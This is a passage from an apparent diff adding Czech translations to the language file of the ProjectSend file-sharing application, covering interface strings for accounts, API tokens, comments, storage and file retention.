activity log — this cannot be undone.": "Váš účet bude deaktivován okamžitě. Po :days dnech bude trvale vymazán, včetně údajů, které vás identifikují v záznamu aktivity — tuto akci nelze vrátit zpět.", + "Your account request has been approved. You can now log in.": "Vaše žádost o účet byla schválena. Nyní se můžete přihlásit.", + "Your account request has been denied.": "Vaše žádost o účet byla zamítnuta.", + "Your account request has been received. You will be able to log in once it is approved.": "Vaši žádost o účet jsme přijali. Přihlásit se budete moci, jakmile bude schválena.", + "Your account request has not been approved yet.": "Vaše žádost o účet zatím nebyla schválena.", + "Your account request was denied": "Vaše žádost o účet byla zamítnuta", + "Your account was updated": "Váš účet byl aktualizován", + "Your account will be deactivated now and permanently erased after :days days. Enter your password to confirm.": "Váš účet bude nyní deaktivován a po :days dnech trvale vymazán. Pro potvrzení zadejte své heslo.", + "Your account will no longer require a second code at login, making it less secure.": "Váš účet už při přihlášení nebude vyžadovat druhý kód, takže bude méně zabezpečený.", + "Your administrator requires two-factor authentication on this account. Set it up below to continue.": "Váš administrátor u tohoto účtu vyžaduje dvoufázové ověření. Nastavte si je níže a můžete pokračovat.", + "Your customized subject and body will be discarded and replaced with the default wording immediately — this cannot be undone.": "Váš upravený předmět a text budou okamžitě zahozeny a nahrazeny výchozím zněním — tuto akci nelze vrátit zpět.", + "Your download should start automatically.": "Stahování by mělo začít automaticky.", + "Your existing recovery codes will stop working immediately.": "Vaše dosavadní záložní kódy okamžitě přestanou fungovat.", + "Your group membership request was approved": "Vaše žádost o členství ve skupině byla schválena", + "Your group membership request was denied": "Vaše žádost o členství ve skupině byla zamítnuta", + "Your groups": "Vaše skupiny", + "Your previous request to this group was declined. You can request again later.": "Vaše předchozí žádost do této skupiny byla zamítnuta. Můžete požádat znovu později.", + "Your request to join the group \":group\" has been approved.": "Vaše žádost o vstup do skupiny \":group\" byla schválena.", + "Your request to join the group \":group\" has been denied.": "Vaše žádost o vstup do skupiny \":group\" byla zamítnuta.", + "Your request to join the group \":groupName\" has been approved": "Vaše žádost o vstup do skupiny \":groupName\" byla schválena", + "Your shared file library": "Vaše knihovna sdílených souborů", + "API tokens": "API tokeny", + "Tokens let an external tool act on your behalf through the API, with only the permissions you grant it here.": "Tokeny umožňují externímu nástroji jednat vaším jménem přes API, a to pouze s oprávněními, která mu zde udělíte.", + "Token name": "Název tokenu", + "e.g. Zapier": "např. Zapier", + "Name it after the tool that will use it, so you know what you are revoking later.": "Pojmenujte jej podle nástroje, který jej bude používat, ať později víte, co zneplatňujete.", + "A token can never do more than you can. Grant only what the tool needs — if your own permissions change, the token follows.": "Token nikdy nezvládne víc než vy. Udělte jen to, co nástroj potřebuje — pokud se změní vaše oprávnění, token je následuje.", + "Only permissions the API can currently act on are listed. More appear here as new endpoints are released.": "Uvedena jsou pouze oprávnění, na která už API umí reagovat. Další zde přibudou, jak budou vycházet nové koncové body.", + "There is nothing you can grant a token yet — none of the API endpoints released so far match your permissions.": "Zatím nemáte tokenu co udělit — žádný z dosud vydaných koncových bodů API neodpovídá vašim oprávněním.", + "Select all": "Vybrat vše", + "Clear all": "Zrušit výběr", + "Expires in (days)": "Vyprší za (dny)", + "A token that never expires stays valid until someone revokes it by hand. Prefer a date you can forget about safely.": "Token bez data vypršení platí, dokud jej někdo ručně nezneplatní. Raději zvolte datum, na které můžete klidně zapomenout.", + "Create token": "Vytvořit token", + "Copy your token now": "Zkopírujte si token hned teď", + "This is the only time it will be shown. We store only a hash, so it cannot be recovered later.": "Zobrazuje se jen tentokrát. Ukládáme pouze otisk, takže jej později nelze obnovit.", + "Copy to clipboard": "Kopírovat do schránky", + "Copied": "Zkopírováno", + "Your tokens": "Vaše tokeny", + "Revoking a token takes effect immediately.": "Zneplatnění tokenu se projeví okamžitě.", + "You have not created any tokens yet.": "Zatím jste nevytvořili žádné tokeny.", + "Expired": "Vypršel", + "Never used": "Nikdy nepoužit", + "Last used :date": "Naposledy použit :date", + "Revoke this token?": "Zneplatnit tento token?", + "Any tool using it will stop working immediately. This cannot be undone.": "Každý nástroj, který jej používá, okamžitě přestane fungovat. Tuto akci nelze vrátit zpět.", + "This file type is not allowed for upload.": "Tento typ souboru nelze nahrávat.", + "View the client list": "Zobrazení seznamu klientů", + "View the group list": "Zobrazení seznamu skupin", + "Origin": "Původ", + "All origins": "Všechny původy", + "Web UI": "Webové rozhraní", + "API": "API", + ":origin · :token": ":origin · :token", + "Edit token": "Upravit token", + "Save token": "Uložit token", + "The token is shown once, immediately after it is created, and never again.": "Token se zobrazí jednou, hned po vytvoření, a už nikdy více.", + "The token itself does not change. Anything already using it keeps working with whatever you set here.": "Samotný token se nemění. Vše, co jej už používá, funguje dál s tím, co zde nastavíte.", + "Changing permissions takes effect immediately": "Změny oprávnění se projeví okamžitě", + "The existing token keeps its value, so whatever holds it gains or loses these permissions right away. Revoke and create a new one instead if you want a fresh secret.": "Stávající token si ponechá svou hodnotu, takže cokoli jej drží, tato oprávnění ihned získá nebo ztratí. Pokud chcete nové tajemství, raději jej zneplatněte a vytvořte nový.", + "Some permissions no longer apply": "Některá oprávnění už neplatí", + "This token still carries permissions that do nothing today, and saving will drop them: :abilities": "Tento token stále nese oprávnění, která dnes nic nedělají; uložením se odeberou: :abilities", + "Token updated.": "Token aktualizován.", + "How external tools can act on this installation on your behalf.": "Jak mohou externí nástroje jednat ve vašem zastoupení v této instalaci.", + "OpenAPI specification": "Specifikace OpenAPI", + "Endpoints": "Koncové body", + "Method": "Metoda", + "Tokens": "Tokeny", + "Your tokens and what they have been doing.": "Vaše tokeny a co dělaly.", + "Every token on this installation and what it has been doing.": "Každý token v této instalaci a co dělal.", + "Show all tokens": "Zobrazit všechny tokeny", + "Show only mine": "Zobrazit jen moje", + "Manage tokens": "Spravovat tokeny", + "Requests (7 days)": "Požadavky (7 dní)", + "Failed (7 days)": "Neúspěšné (7 dní)", + "Median response": "Medián doby odezvy", + "No requests yet": "Zatím žádné požadavky", + ":count expired": "Vypršelo: :count", + "Requests": "Požadavky", + "Succeeded": "Úspěšné", + "Failed": "Neúspěšné", + "Request history is kept for :days days.": "Historie požadavků se uchovává :days dní.", + "Request history is kept indefinitely.": "Historie požadavků se uchovává neomezeně dlouho.", + "No tokens yet.": "Zatím žádné tokeny.", + "Owner": "Vlastník", + "Last used": "Naposledy použit", + "History": "Historie", + "Busiest endpoints": "Nejvytíženější koncové body", + "No requests in the last 7 days.": "Za posledních 7 dní žádné požadavky.", + "Recent changes made through the API": "Nedávné změny provedené přes API", + "Full history": "Celá historie", + "Nothing has been changed through the API yet.": "Přes API zatím nebylo nic změněno.", + "API usage": "Využití API", + "Open the API dashboard": "Otevřít přehled API", + "You have no API tokens. Create one to let an external tool act on your behalf.": "Nemáte žádné API tokeny. Vytvořte si jeden, aby mohl externí nástroj jednat vaším jménem.", + "API request history (days)": "Historie požadavků API (dny)", + "How long the API dashboard keeps a record of each request. This is usage history, not the activity log — the activity log is an audit trail and is never pruned. Set to 0 to keep it indefinitely.": "Jak dlouho přehled API uchovává záznam o každém požadavku. Jde o historii využití, nikoli o záznam aktivity — ten je auditní stopou a nikdy se nemaže. Zadejte 0 pro neomezené uchovávání.", + "A category was created": "Kategorie byla vytvořena", + "A category was deleted": "Kategorie byla smazána", + "A category was renamed": "Kategorie byla přejmenována", + "A comment was approved": "Komentář byl schválen", + "A comment was deleted": "Komentář byl smazán", + "A comment was edited": "Komentář byl upraven", + "A comment was posted on a file": "K souboru byl přidán komentář", + "A custom asset was created": "Vlastní prvek byl vytvořen", + "A custom asset was deleted": "Vlastní prvek byl smazán", + "A custom asset was disabled": "Vlastní prvek byl vypnut", + "A custom asset was enabled": "Vlastní prvek byl zapnut", + "A custom asset was updated": "Vlastní prvek byl aktualizován", + "A custom field was created": "Vlastní pole bylo vytvořeno", + "A custom field was deleted": "Vlastní pole bylo smazáno", + "A custom field was updated": "Vlastní pole bylo aktualizováno", + "A deleted account's files and folders were deleted": "Soubory a složky smazaného účtu byly smazány", + "A deleted account's files and folders were reassigned": "Soubory a složky smazaného účtu byly přiřazeny jinam", + "A file was made private": "Soubor byl nastaven jako soukromý", + "A file was made public": "Soubor byl nastaven jako veřejný", + "A file was previewed": "Soubor byl zobrazen v náhledu", + "A folder was made private": "Složka byla nastavena jako soukromá", + "A folder was made public": "Složka byla nastavena jako veřejná", + "A group was made private": "Skupina byla nastavena jako soukromá", + "A group was made public": "Skupina byla nastavena jako veřejná", + "An API token was created": "Byl vytvořen API token", + "An API token was revoked": "API token byl zneplatněn", + "An API token was updated": "API token byl aktualizován", + "An expired file was automatically deleted after its retention grace period passed": "Soubor s vypršenou platností byl po uplynutí ochranné lhůty automaticky smazán", + "An orphan file was automatically deleted after its retention grace period passed": "Osiřelý soubor byl po uplynutí ochranné lhůty automaticky smazán", + "An upload was cancelled": "Nahrávání bylo zrušeno", + "Approved a comment on the file \":subject\"": "Schválil(a) komentář u souboru \":subject\"", + "Cancelled uploading the file \":name\"": "Zrušil(a) nahrávání souboru \":name\"", + "Commented on the file \":subject\"": "Okomentoval(a) soubor \":subject\"", + "Created the API token \":token_name\"": "Vytvořil(a) API token \":token_name\"", + "Created the category \":subject\"": "Vytvořil(a) kategorii \":subject\"", + "Created the custom asset \":subject\"": "Vytvořil(a) vlastní prvek \":subject\"", + "Created the custom field \":name\"": "Vytvořil(a) vlastní pole \":name\"", + "Deleted :files file(s) and :folders folder(s) belonging to the deleted account \":name\"": "Smazal(a) :files souborů a :folders složek patřících smazanému účtu \":name\"", + "Deleted a comment on the file \":subject\"": "Smazal(a) komentář u souboru \":subject\"", + "Deleted the category \":name\"": "Smazal(a) kategorii \":name\"", + "Deleted the custom asset \":name\"": "Smazal(a) vlastní prvek \":name\"", + "Deleted the custom field \":name\"": "Smazal(a) vlastní pole \":name\"", + "Deleted the expired file \":name\"": "Smazal(a) soubor s vypršenou platností \":name\"", + "Disabled the custom asset \":subject\"": "Vypnul(a) vlastní prvek \":subject\"", + "Edited a comment on the file \":subject\"": "Upravil(a) komentář u souboru \":subject\"", + "Enabled the custom asset \":subject\"": "Zapnul(a) vlastní prvek \":subject\"", + "Made the file \":subject\" private": "Nastavil(a) soubor \":subject\" jako soukromý", + "Made the file \":subject\" public": "Nastavil(a) soubor \":subject\" jako veřejný", + "Made the folder \":subject\" private": "Nastavil(a) složku \":subject\" jako soukromou", + "Made the folder \":subject\" public": "Nastavil(a) složku \":subject\" jako veřejnou", + "Made the group \":subject\" private": "Nastavil(a) skupinu \":subject\" jako soukromou", + "Made the group \":subject\" public": "Nastavil(a) skupinu \":subject\" jako veřejnou", + "Previewed the file \":subject\"": "Zobrazil(a) náhled souboru \":subject\"", + "Reassigned :files file(s) and :folders folder(s) from the deleted account \":name\" to :target": "Přiřadil(a) :files souborů a :folders složek ze smazaného účtu \":name\" k :target", + "Renamed the category to \":subject\"": "Přejmenoval(a) kategorii na \":subject\"", + "Revoked the API token \":token_name\"": "Zneplatnil(a) API token \":token_name\"", + "Updated the API token \":token_name\"": "Aktualizoval(a) API token \":token_name\"", + "Updated the custom asset \":subject\"": "Aktualizoval(a) vlastní prvek \":subject\"", + "Updated the custom field \":name\"": "Aktualizoval(a) vlastní pole \":name\"", + "Manage client custom fields": "Správa vlastních polí klientů", + "Moderate comments": "Moderování komentářů", + "Only me": "Jen já", + "Visible to anyone who can open this file, including visitors who are not logged in.": "Viditelné pro každého, kdo může tento soubor otevřít, včetně nepřihlášených návštěvníků.", + "Anyone, including visitors who are not logged in": "Kdokoli, včetně nepřihlášených návštěvníků", + "Staff and clients": "Tým a klienti", + "Staff only": "Jen tým", + "No files — commenting is off": "Žádné soubory — komentování je vypnuté", + "Only files marked as commentable": "Jen soubory otevřené komentářům", + "Public files only": "Jen veřejné soubory", + "Shared files only": "Jen sdílené soubory", + "(blank = inheriting the site default)": "(prázdné = přebírá výchozí hodnotu webu)", + "(blank = unlimited, no site default is set)": "(prázdné = bez omezení, výchozí hodnota webu není nastavena)", + "(deleted file)": "(smazaný soubor)", + ":authorName commented on \":fileName\"": ":authorName okomentoval(a) \":fileName\"", + ":authorName commented on \":fileName\" and is waiting for approval": ":authorName okomentoval(a) \":fileName\" a čeká na schválení", + ":count comments": "Komentářů: :count", + ":count file updated.|:count files updated.": "Aktualizován :count soubor.|Aktualizováno :count souborů.", + ":count waiting for approval": "Čeká na schválení: :count", + ":guest commented on the file \":subject\"": ":guest okomentoval(a) soubor \":subject\"", + ":name — files": ":name — soubory", + ":updated of :requested selected files were updated. The rest were skipped because you don't have permission to edit them.": "Aktualizováno :updated z :requested vybraných souborů. Zbytek byl přeskočen, protože k jejich úpravě nemáte oprávnění.", + "A bold header built around your logo — pairs with the Gallery look for a polished, on-brand inbox.": "Výrazné záhlaví postavené kolem vašeho loga — ve dvojici se vzhledem Gallery dává vybroušenou schránku věrnou vaší značce.", + "Access": "Přístup", + "Access key": "Přístupový klíč", + "Accounts covered by this setting may only upload files whose extension is on the allowed list below.": "Účty, na které se toto nastavení vztahuje, smí nahrávat pouze soubory s příponou uvedenou v povoleném seznamu níže.", + "A clean, neutral layout that works well for any kind of file sharing.": "Čisté, neutrální rozvržení, které se hodí k jakémukoli sdílení souborů.", + "A comment from someone who is not logged in stays hidden until a moderator approves it.": "Komentář od nepřihlášeného zůstane skrytý, dokud jej moderátor neschválí.", + "A comment is waiting for approval": "Komentář čeká na schválení", + "Activity history for :name": "Historie aktivity: :name", + "A daily task permanently deletes files past their expiration date and grace period below.": "Denní úloha trvale maže soubory, kterým uplynulo datum vypršení a ochranná lhůta níže.", + "A daily task permanently deletes local orphan files older than the grace period below.": "Denní úloha trvale maže místní osiřelé soubory starší než ochranná lhůta níže.", + "Add categories": "Přidávání kategorií", + "Adds an \"Everyone\" option when commenting on a file that is publicly visible. Without this, comments only ever reach people who are logged in.": "Přidá při komentování veřejně viditelného souboru možnost „Všichni“. Bez toho se komentáře dostanou pouze k přihlášeným lidem.", + "A dense, spreadsheet-style list that fits more files on screen — best for large collections and frequent uploaders.": "Hustý seznam ve stylu tabulky, do kterého se na obrazovku vejde více souborů — ideální pro velké sbírky a časté nahrávání.", + "A full-width photo grid built for visual browsing — the best choice for photographers and image-heavy collections.": "Mřížka fotografií přes celou šířku určená k vizuálnímu procházení — nejlepší volba pro fotografy a sbírky plné obrázků.", + "Allow clients to add files to this folder from their portal.": "Umožnit klientům přidávat do této složky soubory z jejich portálu.", + "Allow comments on this file": "Povolit komentáře u tohoto souboru", + "Allowed file extensions": "Povolené přípony souborů", + "Allow public comments": "Povolit veřejné komentáře", + "and :count more": "a další :count", + "Anonymous": "Anonymní", + "Anonymous downloads": "Anonymní stažení", + "Applied to any client without their own custom quota, including self-registered ones. Set to 0 for no default (unlimited unless a client has their own limit).": "Platí pro každého klienta bez vlastní kvóty, včetně těch, kteří se zaregistrovali sami. Zadejte 0, pokud nemá platit žádná výchozí hodnota (bez omezení, pokud klient nemá vlastní limit).", + "A public group's page is always reachable by its own link once you mark it public — this page only controls the base URL and an optional directory listing every public group and file at once.": "Stránka veřejné skupiny je vždy dostupná přes vlastní odkaz, jakmile ji označíte jako veřejnou — tato stránka řídí pouze základní URL a volitelný rozcestník, který naráz vypisuje všechny veřejné skupiny a soubory.", + "A reset link will be sent if the account exists.": "Pokud účet existuje, odešleme odkaz pro obnovu hesla.", + "A spacious, colorful layout inspired by cloud storage apps, with clear file-type icons and generous spacing.": "Vzdušné, barevné rozvržení inspirované cloudovými úložišti, s jasnými ikonami typů souborů a štědrými rozestupy.", + "A stripped-down, understated design with no extra styling — pairs with the Compact look.": "Odlehčený, nenápadný design bez zbytečných ozdob — ve dvojici se vzhledem Compact.", + "Auto approve new accounts": "Automaticky schvalovat nové účty", + "Automatically delete expired files": "Automaticky mazat soubory s vypršenou platností", + "Automatically delete orphan files": "Automaticky mazat osiřelé soubory", + "A visitor commented on a file": "Návštěvník okomentoval soubor", + "Awaiting approval": "Čeká na schválení", + "Back": "Zpět", + "Be careful when changing this list — it can affect the security of this installation.": "S úpravami tohoto seznamu buďte opatrní — může to ovlivnit zabezpečení této instalace.", + "Blank = inherit the site default (currently :default MB). Set a value to give this client their own limit.": "Prázdné = přebírá výchozí hodnotu webu (nyní :default MB). Zadejte hodnotu, chcete-li dát tomuto klientovi vlastní limit.", + "Blank = unlimited (no site default is set). Set a value to give this client their own limit.": "Prázdné = bez omezení (výchozí hodnota webu není nastavena). Zadejte hodnotu, chcete-li dát tomuto klientovi vlastní limit.", + "Blue accents and clean structure inspired by cloud storage apps — pairs with the Drive look.": "Modré akcenty a čistá struktura inspirované cloudovými úložišti — ve dvojici se vzhledem Drive.", + "Branding": "Vizuální identita", + "Bucket": "Bucket", + "Bulk edit :count files": "Hromadná úprava souborů (:count)", + "by": "od", + "Change at least one field before applying a bulk edit.": "Před použitím hromadné úpravy změňte alespoň jedno pole.", + "Check for updates": "Zkontrolovat aktualizace", + "Client access": "Přístup klientů", + "Client downloads": "Stažení klientů", + "Clients can register themselves": "Klienti se mohou registrovat sami", + "Clients only": "Jen klienti", + "Comment approved.": "Komentář schválen.", + "Comment deleted.": "Komentář smazán.", + "Comments": "Komentáře", + "Comments are closed on this file.": "Komentáře u tohoto souboru jsou uzavřeny.", + "Comments already written stay readable even if a file stops accepting new ones.": "Již napsané komentáře zůstávají čitelné, i když soubor přestane přijímat nové.", + "Comments awaiting approval": "Komentáře čekající na schválení", + "Comment settings": "Nastavení komentářů", + "Comments left by visitors who are not logged in. Nobody can see them until you approve them.": "Komentáře od nepřihlášených návštěvníků. Nikdo je neuvidí, dokud je neschválíte.", + "Connect an external S3-compatible bucket (AWS S3, MinIO, or another S3-compatible service) as the storage backend for new uploads.": "Připojte externí bucket kompatibilní s S3 (AWS S3, MinIO nebo jinou službu kompatibilní s S3) jako úložiště pro nově nahrávané soubory.", + "Custom endpoint": "Vlastní koncový bod", + "Custom field created.": "Vlastní pole vytvořeno.", + "Custom field deleted.": "Vlastní pole smazáno.", + "Custom field updated.": "Vlastní pole aktualizováno.", + "Custom range": "Vlastní rozsah", + "Default storage quota (MB)": "Výchozí kvóta úložiště (MB)", + "Delete account?": "Smazat účet?", + "Delete failed job?": "Smazat neúspěšnou úlohu?", + "Delete them permanently": "Trvale je smazat", + "Delete this comment?": "Smazat tento komentář?", + "Delete this many days after being found": "Smazat po tolika dnech od nalezení", + "Delete this many days after expiry": "Smazat po tolika dnech od vypršení", + "Download :name": "Stáhnout :name", + "Downloaded by": "Stáhl(a)", + "Download history": "Historie stažení", + "Download history for :name": "Historie stažení: :name", + "Duration": "Trvání", + "Each file has a \"Allow comments\" switch on its edit page. Only files with it turned on accept comments.": "Každý soubor má na své stránce úprav přepínač „Povolit komentáře u tohoto souboru“. Komentáře přijímají jen soubory, kde je zapnutý.", + "edited": "upraveno", + "Editing window (minutes)": "Okno pro úpravy (minuty)", + "Email settings saved.": "Nastavení e-mailu uloženo.", + "Error": "Chyba", + "Every download, newest first": "Každé stažení, od nejnovějších", + "Every download across the installation, newest first": "Každé stažení v celé instalaci, od nejnovějších", + "Every recorded action, newest first": "Každá zaznamenaná akce, od nejnovějších", + "Expiration": "Vypršení", + "Expired :date": "Vypršelo :date", + "Expired only": "Jen s vypršenou platností", + "Extension, e.g. pdf": "Přípona, např. pdf", + "Failed at": "Selhalo v", + "Failed job deleted.": "Neúspěšná úloha smazána.", + "Failed jobs": "Neúspěšné úlohy", + "Failed to connect: :error": "Připojení selhalo: :error", + "File retention": "Uchovávání souborů", + "File retention settings": "Nastavení uchovávání souborů", + "Files accessible to :name": "Soubory dostupné pro :name", + "Files sitting on disk with no matching record — an interrupted upload, a restore, manual filesystem access": "Soubory ležící na disku bez odpovídajícího záznamu — přerušené nahrávání, obnova zálohy, ruční zásah do souborového systému", + "Files that accept comments": "Soubory, které přijímají komentáře", + "Filters": "Filtry", + "Folder renamed.": "Složka přejmenována.", + "Folders": "Složky", + "Grid view": "Zobrazení v mřížce", + "Hold comments from visitors for approval": "Zadržovat komentáře návštěvníků ke schválení", + "How long after posting someone can still edit or delete their own comment. Set to 0 to never allow it.": "Jak dlouho po zveřejnění lze ještě upravit nebo smazat vlastní komentář. Zadejte 0, pokud to nemá být povoleno nikdy.", + "How long an expired file is kept before it is permanently deleted. 0 deletes it the same day it expires.": "Jak dlouho se uchovává soubor s vypršenou platností, než bude trvale smazán. 0 jej smaže ve stejný den, kdy vyprší.", + "How long an orphan file is kept before it is permanently deleted. 0 deletes it the same day it is first found.": "Jak dlouho se uchovává osiřelý soubor, než bude trvale smazán. 0 jej smaže ve stejný den, kdy se najde.", + "IP address": "IP adresa", + "Job queued for retry.": "Úloha vrácena do fronty k dalšímu pokusu.", + "Language: :language": "Jazyk: :language", + "Last month": "Minulý měsíc", + "Last ran": "Naposledy spuštěno", + "Last week": "Minulý týden", + "Leave blank for AWS S3. Set this to use an S3-compatible service such as MinIO or Backblaze.": "Pro AWS S3 nechte prázdné. Vyplňte, chcete-li použít službu kompatibilní s S3, například MinIO nebo Backblaze.", + "Leave empty for a file that never expires.": "Nechte prázdné, pokud soubor nemá nikdy vypršet.", + "Limit file types uploading to": "Omezit typy nahrávaných souborů pro", + "List view": "Zobrazení v seznamu", + "Make this folder public. Every file inside it — now and later, at any depth — becomes public too.": "Nastavit tuto složku jako veřejnou. Každý soubor uvnitř — nyní i později, v jakékoli úrovni — se také stane veřejným.", + "Message": "Zpráva", + "Moving": "Přesouvání", + "Never run": "Nikdy nespuštěno", + "Next cleanup :date": "Příští úklid :date", + "No accounts match \":search\".": "Dotazu \":search\" neodpovídá žádný účet.", + "Nobody (no restriction)": "Nikdo (bez omezení)", + "No comments yet.": "Zatím žádné komentáře.", + "No expired files.": "Žádné soubory s vypršenou platností.", + "No extensions added yet.": "Zatím nebyla přidána žádná přípona.", + "No failed jobs.": "Žádné neúspěšné úlohy.", + "No files match these filters.": "Těmto filtrům neodpovídá žádný soubor.", + "None of the selected files could be edited.": "Žádný z vybraných souborů nešlo upravit.", + "Nothing is waiting for approval.": "Nic nečeká na schválení.", + "of :count": "z :count", + "of :quota": "z :quota", + "on": "dne", + "Only the fields you change here are applied — everything else is left as-is.": "Použijí se pouze pole, která zde změníte — vše ostatní zůstane beze změny.", + "Only uploads made after this backend is activated are affected. Files already stored locally stay there and keep working — there is no migration between backends.": "Týká se to pouze souborů nahraných po aktivaci tohoto úložiště. Soubory už uložené místně tam zůstanou a fungují dál — mezi úložišti neprobíhá žádná migrace.", + "Open public page": "Otevřít veřejnou stránku", + "Optional. Confines uploads to a subfolder within the bucket.": "Nepovinné. Omezí nahrávané soubory na podsložku uvnitř bucketu.", + "Orphan auto-delete only ever operates on local storage, so it stays off while external storage is active — even if it was previously enabled.": "Automatické mazání osiřelých souborů pracuje výhradně s místním úložištěm, takže při aktivním externím úložišti zůstává vypnuté — i když bylo dříve zapnuté.", + "Orphan files": "Osiřelé soubory", + "Outgoing email is sent through a centrally managed relay for cloud accounts. You can still choose the From address and name shown to recipients.": "U cloudových účtů odchází pošta přes centrálně spravovaný relay. Adresu a jméno odesílatele, které vidí příjemci, si i tak můžete zvolit.", + "Page": "Stránka", + "Path prefix": "Předpona cesty", + "Pending": "Čeká", + "Periodically checks projectsend.org's public repository for a newer release and shows a notice on the dashboard. Nothing is ever downloaded or applied automatically.": "Pravidelně kontroluje veřejný repozitář projectsend.org, zda nevyšla novější verze, a zobrazí upozornění v přehledu. Nikdy se nic nestahuje ani nenasazuje automaticky.", + "Permanently failed": "Trvale neúspěšné", + "Post comment": "Odeslat komentář", + "Preview of :name": "Náhled :name", + "Previous month": "Předchozí měsíc", + "ProjectSend's classic email look — simple and neutral, and pairs well with any public/portal theme.": "Klasický vzhled e-mailů ProjectSend — jednoduchý a neutrální, hodí se ke každému veřejnému i portálovému motivu.", + "ProjectSend :version is available": "Je k dispozici ProjectSend :version", + "Public folder": "Veřejná složka", + "Published :date": "Zveřejněno :date", + "Queue": "Fronta", + "Reassign them to another account": "Přiřadit je jinému účtu", + "Region": "Region", + "Remove a category": "Odebrat kategorii", + "Remove categories": "Odebírání kategorií", + "Rename folder": "Přejmenovat složku", + "Required by most S3-compatible services (MinIO, etc). Leave off for AWS S3.": "Vyžaduje většina služeb kompatibilních s S3 (MinIO apod.). Pro AWS S3 nechte vypnuté.", + "Requires Upload files": "Vyžaduje oprávnění „Nahrávání souborů“", + "Retry": "Zkusit znovu", + "Root": "Kořen", + "Scheduler": "Plánovač", + "Scheduler settings": "Nastavení plánovače", + "Search accounts…": "Hledat účty…", + "Search and filter": "Hledat a filtrovat", + "Secret key": "Tajný klíč", + "Select files to bulk-edit them": "Vyberte soubory, které chcete hromadně upravit", + "Sender identity": "Identita odesílatele", + "Set to…": "Nastavit na…", + "Share": "Sdílet", + "Shared with client": "Sdíleno s klientem", + "Shared with me": "Sdíleno se mnou", + "Sharing a folder shares everything inside it, now and later. Manage sharing from the edit page.": "Sdílením složky sdílíte celý její obsah, nyní i později. Sdílení spravujete na stránce úprav.", + "Someone commented on a file": "Někdo okomentoval soubor", + "Sort by": "Seřadit podle", + "Storage settings": "Nastavení úložiště", + "Storage settings saved.": "Nastavení úložiště uloženo.", + "Success: connected to bucket \":bucket\".": "Úspěch: připojeno k bucketu \":bucket\".", + "Task": "Úloha", + "Test connection": "Otestovat připojení", + "Test result": "Výsledek testu", + "This account owns :files file(s) and :folders folder(s). What should happen to them?": "Tento účet vlastní :files souborů a :folders složek. Co se s nimi má stát?", + "This cannot be undone.": "Tuto akci nelze vrátit zpět.", + "This client has no accessible files yet.": "Tento klient zatím nemá žádné dostupné soubory.", + "This deletion is permanent": "Toto smazání je trvalé", + "This file is public because it's inside the public folder \":name\".": "Tento soubor je veřejný, protože leží ve veřejné složce \":name\".", + "This folder cannot be deleted: it holds :count file you did not upload.|This folder cannot be deleted: it holds :count files you did not upload.": "Tuto složku nelze smazat: obsahuje :count soubor, který jste nenahráli vy.|Tuto složku nelze smazat: obsahuje :count souborů, které jste nenahráli vy.", + "This removes it from the failed jobs list without retrying it.": "Tím ji odeberete ze seznamu neúspěšných úloh, aniž byste ji zkoušeli znovu.", + "Total size": "Celková velikost", + "To update, run:": "Aktualizaci provedete příkazem:", + "Unavailable while external storage is active": "Nedostupné, dokud je aktivní externí úložiště", + "Unlike an expired file, an orphan has no database row to soft-delete — there is no undo once it's gone.": "Na rozdíl od souboru s vypršenou platností nemá osiřelý soubor žádný záznam v databázi k měkkému smazání — jakmile zmizí, není cesty zpět.", + "Unlimited storage": "Neomezené úložiště", + "Update :count files": "Aktualizovat vybrané soubory (:count)", + "Uploaded and shared": "Nahráno a nasdíleno", + "Uploaded by client": "Nahráno klientem", + "Uploaded by me": "Nahráno mnou", + "Uploaded by the client, or assigned to them directly, via a group, or via a shared folder.": "Nahráno klientem, nebo mu přiřazeno přímo, přes skupinu či přes sdílenou složku.", + "Uploading into \":name\".": "Nahrávání do \":name\".", + "Upload settings saved.": "Nastavení nahrávání uloženo.", + "Upload settings saved. Warning: :extensions can be dangerous to allow — only keep them on the list if you understand the risk.": "Nastavení nahrávání uloženo. Upozornění: povolit :extensions může být nebezpečné — ponechte je na seznamu jen tehdy, chápete-li riziko.", + "used": "využito", + "Used in the public folder URL.": "Používá se ve veřejné URL složky.", + "Use external storage for new uploads": "Používat externí úložiště pro nově nahrávané soubory", + "Use path-style addressing": "Používat adresování ve stylu cesty", + "View all downloads (:count)": "Zobrazit všechna stažení (:count)", + "View full history (:count)": "Zobrazit celou historii (:count)", + "View release notes": "Zobrazit poznámky k vydání", + "View release notes on GitHub": "Zobrazit poznámky k vydání na GitHubu", + "Visitor": "Návštěvník", + "Visitors who are not logged in can only write public comments, so this has no effect until you allow public comments below.": "Nepřihlášení návštěvníci mohou psát pouze veřejné komentáře, takže tohle nemá účinek, dokud níže veřejné komentáře nepovolíte.", + "What happens to a file once it expires, or once one turns up unclaimed on disk": "Co se stane se souborem, když vyprší jeho platnost nebo když se na disku objeví bez majitele", + "Where": "Kde", + "Whether scheduled tasks are actually running, and any queued email that failed to send": "Zda naplánované úlohy opravdu běží a které e-maily ve frontě se nepodařilo odeslat", + "Who can comment on files, and which files accept comments": "Kdo může komentovat soubory a které soubory komentáře přijímají", + "Who can see this": "Kdo to uvidí", + "Who can write a comment": "Kdo může napsat komentář", + "Write a comment…": "Napište komentář…", + "You cannot grant permissions your own role does not have: :permissions": "Nemůžete udělit oprávnění, která nemá vaše vlastní role: :permissions", + "You need upload permission to create folders": "K vytváření složek potřebujete oprávnění k nahrávání", + "Your comment will be reviewed before it appears.": "Váš komentář bude před zveřejněním posouzen.", + "Your name": "Vaše jméno", + "— No change —": "— Beze změny —", + "Newest first": "Od nejnovějších", + "Oldest first": "Od nejstarších", + "Name (A–Z)": "Název (A–Z)", + "Name (Z–A)": "Název (Z–A)", + "Largest first": "Od největších", + "Smallest first": "Od nejmenších", + "Transfers": "Přenosy", + "Top clients by storage": "Klienti zabírající nejvíce místa", + "Largest files": "Největší soubory", + "Expired files": "Soubory s vypršenou platností", + "A private note. Nobody else can read it, staff included.": "Soukromá poznámka. Nikdo jiný si ji nepřečte, ani tým.", + "Reply": "Odpovědět", + "Replying to :name": "Odpověď pro :name", + "The team working on this file. No client ever sees it.": "Tým, který na tomto souboru pracuje. Žádný klient to nevidí.", + "With :name": "S :name", + "Your reply goes to :name only, and to staff.": "Vaše odpověď zamíří pouze k :name a k týmu.", + "Your reply goes to the same people as the comment above.": "Vaše odpověď zamíří ke stejným lidem jako komentář výše.", + "Public comments are turned off for this site.": "Veřejné komentáře jsou na tomto webu vypnuté.", + "Only a file that is publicly visible can have public comments.": "Veřejné komentáře může mít pouze veřejně viditelný soubor.", + "The team, and everyone this file is shared with. Clients cannot see each other.": "Tým a všichni, s nimiž je tento soubor 